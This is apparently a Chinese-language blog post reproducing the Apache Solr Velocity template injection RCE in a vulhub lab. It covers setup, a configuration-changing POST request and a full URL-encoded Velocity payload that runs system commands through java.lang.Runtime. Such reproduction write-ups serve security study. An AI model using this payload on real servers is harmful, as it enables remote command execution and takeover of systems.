Ywc's blog

Apache Solr Velocity模板注入RCE漏洞复现

Word count: 951Reading time: 4 min
2019/11/06

Apache Solr介绍

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。

漏洞描述

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

漏洞产生原因:

当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模板,默认设置是false。当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

漏洞影响版本

Apache Solr 5.x - 8.2.0,存在config API版本

漏洞环境搭建

方法一:

直接下载Apache Solr 8.2.0,下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
解压然后进入bin目录执行solr.cmd start
参考文章

方法二:

使用vulhub中CVE-2019-0193的环境进行搭建,方便快捷。
启动vulhub环境:

1
2
3
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose up -d

创建名为test的Core:

1
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

搭建好后默认端口为8983,访问http://ip:8983 即可

参考文章

漏洞利用

利用前提:攻击者需要知道Solr服务中Core的名称才能执行攻击

Apache-Solr-Velocity模板注入RCE漏洞复现

如上图所示的这个名称就是Core的名称

直接构造POST请求,在/solr/test/config目录POST以下数据(修改Core的配置)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /solr/notification_shard1_replica_n83/config HTTP/1.1
Host: xxx.xxx.xx.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

Apache-Solr-Velocity模板注入RCE漏洞复现

使用公开的exp

1
select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

即可实现RCE:

1
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache-Solr-Velocity模板注入RCE漏洞复现

POC:

https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

利用poc脚本

Apache-Solr-Velocity模板注入RCE漏洞复现

参考文章

https://www.jianshu.com/p/837e398ee487
https://cloud.tencent.com/developer/article/1532604
https://my.oschina.net/u/3677719/blog/3124679
https://blog.csdn.net/qq_18501087/article/details/102854324

CATALOG
  1. 1. Apache Solr介绍
  2. 2. 漏洞描述
  3. 3. 漏洞影响版本
  4. 4. 漏洞环境搭建
  5. 5. 漏洞利用
  6. 6. 参考文章